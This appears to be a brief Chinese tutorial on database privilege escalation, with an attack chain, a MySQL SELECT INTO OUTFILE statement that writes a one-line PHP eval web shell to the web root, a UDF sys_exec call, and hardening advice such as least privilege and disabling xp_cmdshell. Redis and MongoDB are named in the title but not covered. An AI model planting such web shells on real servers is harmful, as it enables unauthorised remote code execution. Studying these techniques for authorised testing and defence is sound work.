数据库提权实战:MySQL UDF/SELECT INTO、MSSQL xp_cmdshell、Redis 写 Crontab/SSH、MongDB 提权。
写在前面:合法学习边界
数据库提权只在授权测试环境进行。
一、数据库提权链

1
| ① 获取数据库权限 → ② 文件写入 → ③ WebShell/计划任务/SSH → ④ 提权
|
二、MySQL 提权
1
2
3
4
5
| -- SELECT INTO OUTFILE 写 WebShell
SELECT '<?php @eval($_POST[1]); ?>' INTO OUTFILE '/var/www/shell.php';
-- UDF 提权
SELECT sys_exec('whoami');
|
三、防御加固
1
2
| 最小权限原则 · 关闭 FILE 权限
Redis 加密码 · MSSQL 关闭 xp_cmdshell
|
四、小结
数据库提权的核心是数据库权限过大 + 可写文件路径。最小权限原则是防御核心。